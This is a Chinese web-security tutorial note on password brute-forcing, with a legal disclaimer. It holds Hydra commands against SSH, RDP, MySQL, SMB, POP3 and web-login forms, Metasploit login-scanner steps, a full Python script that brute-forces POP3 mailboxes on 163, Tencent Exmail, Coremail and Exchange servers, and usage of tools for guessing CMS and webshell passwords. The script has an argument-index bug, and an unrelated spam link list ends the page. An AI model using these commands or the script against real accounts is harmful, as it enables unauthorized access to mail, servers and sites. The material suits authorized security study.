WEB安全之:密码穷举破解

WEB安全之:密码穷举破解

郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

密码破解

1 Hydra1.1 支持的协议1.2 攻击步骤1.3 攻击实例1.4 在线密码破解(了解)

2 Metasploit 穷举模块使用3 邮箱破解4 指定后台密码破解4.1 常见 CMS 密码破解4.1.1 CMSmap

4.2 一句话密码破解(PHP, JSP, ASP)4.2.1 cheetah

4.3 多线程后台密码破解4.3.1 wfuzz

4.4 含验证码后台密码破解

密码破解的实用工具:

Ophcrack, L0phtCrack, Cain & Abel, thc-hydra, RainbowCrack, Aircrack, AirSnort, PwdDump, Kerbcrack, brutus

思路

前期环境:目标系统实施了强安全措施

安装了所有补丁无任何已知漏洞无应用层漏洞攻击面最小化 社会工程学:通过社会工程学的方式进行信息收集获取目标系统用户身份

非授权用户不守信,认证用户可以访问守信资源已有用户账号权限受限,需要提权不会触发系统报警 身份认证方法:证明你是声称你是的那个人

你知道什么(账号密码、pin、passphrase)你有什么(令牌、token、key、证书、密保、手机)你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)以上方法结合适用(多因素身份认证)基于互联网的身份验证以账号密码以主要形式 密码破解推荐原则:破解时采取先易后难的原则,建议如下:

利用收集的公开字典进行破解使用1-8位数字进行破解。使用1-8位小写字母进行破解使用1-8位大写字母进行破解使用1-8位混合大小写+数字+特殊字符进行破解 密码破解方法

人工猜解

垃圾桶工程被动信息收集 基于字典暴力破解(主流)键盘空间字符爆破

全键盘空间字符部分键盘空间字符(基于规则)数字、小写字母、大写字母、字符、空格、瑞典字符、高位ASCII码 字典

保存有用户名和密码的文本文件 用户密码变型

基于 cewl 的结果进行密码变型末尾增加数字串字母大小写变化字母与字符互相转字母与数字互相转换:P@$$w0rd 影响密码破解效率

密码复杂度(字典命中率)带宽、协议、服务器性能、客户端性能锁定阈值单位时间最大登陆请求次数

1 Hydra

Hydra (九头蛇) 是著名黑客组织 thc 的一款开源的暴力密码破解工具,可以在线破解多种密码。Hydra 是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra 非常灵活和迅速的。

1.1 支持的协议

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

1.2 攻击步骤

选择目标:输入目标地址,可选:单独IP、CIDR(192.168.0.1/24)、文档中的列表。选择协议:输入需要爆破的协议,如 ftp:// 等。确保目标系统开启服务检查可选参数:假如爆破需要加入额外的参数则添加即可。

1.3 攻击实例

图形化 Hydra:xhydra

# 扫描端口

nmap -p- 192.168.100.129 #-p- to scan ports from 1through 65535.

# -l 指定用户名,-L 指定用户名字典文件;-p 指定密码,-P指定密码字典文件; -M 指定多个 IP 进行穷举

# ssh 密码破解

hydra -L users.txt -p msfadmin ssh://192.168.100.129 -v

# HTTP 密码破解

hydra -L user_list.txt -P pass_list.txt -t 64 http-post://192.168.100.1 -I

# rdp 密码破解

hydra -L user_list.txt -P pass_list.txt -t 64 rdp://192.168.100.130 -I -v

# mysql 密码破解

hydra -L user_list.txt -P pass_list.txt -I -vV -f -e n -t 64 mysql://192.168.100.129 -o mysql_crack.txt

# SMB 密码破解

# -e n:空密码试探,s:使用指定用户和密码试探,r:将用户名反向作为密码输入

hydra -l win2019 -P pass_list.txt -e nsr -t 16 192.168.100.130 smb

# 邮箱密码破解

pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

1.4 在线密码破解(了解)

#Login=login:中“:”后面指定返回的是错误的特征字符,Login=login:S=index.php表示登陆成功后特征字符,可以是内容或HTTP头内容;

hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php" -V

# Login=login:login.php表示登陆错误后特征字符;

hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:login.php" -V

hydra -l admin -P password.lst 192.168.10.128 http-post-form "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo"

# C:先访问指定页面取得cookie

# H:指定http头

# https-post-form、http-get-form、https-get-form

# -S:使用SSL连接

2 Metasploit 穷举模块使用

# 密码破解模块

auxiliary/scanner/ftp/ftp_login

auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login

auxiliary/scanner/smb/smb_login

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/oracle/oracle_login

auxiliary/scanner/postgres/postgres_login

auxiliary/scanner/vnc/vnc_login

auxiliary/scanner/pcanywhere/pcanywhere_login

auxiliary/scanner/snmp/snmp_login

# 用法

# 进入 Metasploit 命令行界面

msfconsole

# 选择所要使用的模块

use auxiliary/scanner/ssh/ssh_login

# 查看模块需要配置的内容

show options

# 配置模块

set rhosts 192.168.100.129

set user_file user_list.txt

set pass_file pass_list.txt

set stop_on_success true

# info 查询模块配置信息

info

# 运行模块

exploit/run

3 邮箱破解

#!usr/bin/python

# !coding:utf-8

# description:

# 为了防止 IP 被所测试大厂过滤,建议一次测试案例不要超过 10 个,越少越好。

# 测试的密码应当为 POP3 的认证密码,与所登陆的邮箱密码不一样。

import poplib

import sys

if len(sys.argv) != 4:

print("\tNote: 邮箱类型为:'163','tencent','coremail','236','exchange'\n")

print("\tNote: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n")

print("\tNote: 163|tencent|236 用户字典需要域名后缀,例如zhangsan@domain.com\n")

print("\tUsage: 163|tencent使用方法:./mail_brute.py mtype \n")

print("\tUsage: 236|exchange|coremail使用方法:./mail_brute.py mtype mail.domain.com\n")

sys.exit(1)

mailType = ['163', 'tencent', 'coremail', '236', 'exchange']

if sys.argv[1] in ['236', 'exchange', 'coremail']:

try:

server = sys.argv[5]

except:

print('[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n')

sys.exit(1)

elif sys.argv[1] == '163':

# 如果是企业,请使用注释语句

# server = "pop.qiye.163.com"

server = "pop3.163.com"

elif sys.argv[1] == 'tencent':

server = "pop.exmail.qq.com"

else:

print("[-] Error: 邮箱类型错误\n")

sys.exit(1)

success = []

try:

users_list = open(sys.argv[2], "r")

users = users_list.readlines()

words_list = open(sys.argv[3], "r")

words = words_list.readlines()

except IOError:

print("[-] Error: 请检查用户名或密码路径及文件\n")

sys.exit(1)

finally:

users_list.close()

words_list.close()

try:

if sys.argv[1] in ['163', '236']:

pop = poplib.POP3(server, 110)

else:

pop = poplib.POP3_SSL(server, 995)

welcome = pop.getwelcome()

print(welcome)

pop.quit()

except poplib.error_proto:

welcome = "[-] Error: No Response,Something wrong!!!\n"

sys.exit(1)

print("[+] Server:", server)

print("[+] Users Loaded:", len(users))

print("[+] Words Loaded:", len(words))

print("[+] Server response:", welcome, "\n")

def mailbruteforce(listuser, listpwd, mtype):

if len(listuser) < 1 or len(listpwd) < 1:

print("[-] Error: An error occurred: No user or pass list\n")

return 1

for user in listuser:

for passwd in listpwd:

user = user.replace("\n", "")

passwd = passwd.replace("\n", "")

try:

print("-" * 12)

print("[+] User:", user, "Password:", passwd)

# time.sleep(0.1)

if mtype in ['163', '236']:

popserver = poplib.POP3(server, 110)

else:

popserver = poplib.POP3_SSL(server, 995)

popserver.user(user)

auth = popserver.pass_(passwd)

print(auth)

if auth.split(' ')[0] == "+OK" or auth == "+OK":

ret = (user, passwd, popserver.stat()[0], popserver.stat()[1])

success.append(ret)

# print(len(success))

popserver.quit()

break

else:

popserver.quit()

continue

except:

# print("An error occurred:", msg)

pass

if __name__ == '__main__':

mailbruteforce(users, words, sys.argv[1])

print("\t[+] have weakpass :\t", len(success))

if len(success) >= 1:

for ret in success:

print("\n\n[+] Login successful:", ret[0], ret[1])

print("\t[+] Mail:", ret[2], "emails")

print("\t[+] Size:", ret[3], "bytes\n")

print("\n[-] Done")

4 指定后台密码破解

如果burp suit 一次请求过多可能会造成服务器的访问错误。

4.1 常见 CMS 密码破解

4.1.1 CMSmap

Dionach/CMSmap: CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. (github.com)

# -f 强制扫描 (W)ordpress, (J)oomla or (D)rupal

# -F 使用插件列表扫描,慢且可能出现误报

# -i 使用目标站点列表文件扫描

# -o 保存输出到指定文件

# -u 指定用户名或用户名文件列表

# -p 指定密码或密码文件列表

# -k 使用密码 hash 文件,需要安装 hashcat,仅支持 WordPress and Joomla

Examples:

cmsmap.py https://example.com

cmsmap.py https://example.com -f W -F --noedb -d

cmsmap.py https://example.com -i targets.txt -o output.txt

cmsmap.py https://example.com -u admin -p passwords.txt

cmsmap.py -k hashes.txt -w passwords.txt

4.2 一句话密码破解(PHP, JSP, ASP)

4.2.1 cheetah

shmilylty/cheetah: a very fast brute force webshell password tool (github.com)

# -c 使能清除重复密码,默认关闭

# -s 指定 WEB 服务器名称,默认自动探测

# -v 使能输出详细信息,默认关闭

# -u url

# -r 请求类型,默认 POST

# -n 指定请求参数个数

# -p 指定密码文件,默认是 pwd.list

use examples:

python cheetah.py -u http://orz/orz.php

python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v

python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list

python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000

python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v

4.3 多线程后台密码破解

4.3.1 wfuzz

wfuzz -c -w csdnpass.txt --hc 200 -d "user=admin&pw=FUZZ" http://blog.lab.com/admin/index.php?action=login

具体使用方式参考:WFUZZ使用教程_JBlock的博客-CSDN博客_wfuzz

4.4 含验证码后台密码破解

破解步骤:

验证码是否可以重复利用 :输入历史验证码时,若提示验证码错误,则可以识别,反之不能。验证码、Cookie 是否重复利用(重要) :正确提交验证码的请求

使用 Burp Suite 阻断所提交的请求,使用 Repeater 功能,修改所提交的密码参数,若回复数据提示验证码错误,则说明不能重复利用,反之可以。也可以通过删除所提交的验证码参数来时行验证。删除所提交的 Cookie 参数,若回复数据提示验证码错误,则说明不能重复利用,反之可以。 验证码是否可以识别:后续讨论

相关推荐

中逵的战斗鲤杆子怎么样?
365bet亚洲版登录

中逵的战斗鲤杆子怎么样?

📅 07-06 👁️ 3376
《贪玩蓝月》官网是什么?官网地址介绍
365万博首页

《贪玩蓝月》官网是什么?官网地址介绍

📅 07-15 👁️ 5147
imac外屏换一个多少钱
365bet亚洲版登录

imac外屏换一个多少钱

📅 07-14 👁️ 1404
怎样快速减肥:科学方法、饮食调整与实战指南
365bet网址多少

怎样快速减肥:科学方法、饮食调整与实战指南

📅 07-22 👁️ 858
烈的解释
365万博首页

烈的解释

📅 07-12 👁️ 5042
打扰了是什么意思
365万博首页

打扰了是什么意思

📅 08-07 👁️ 4060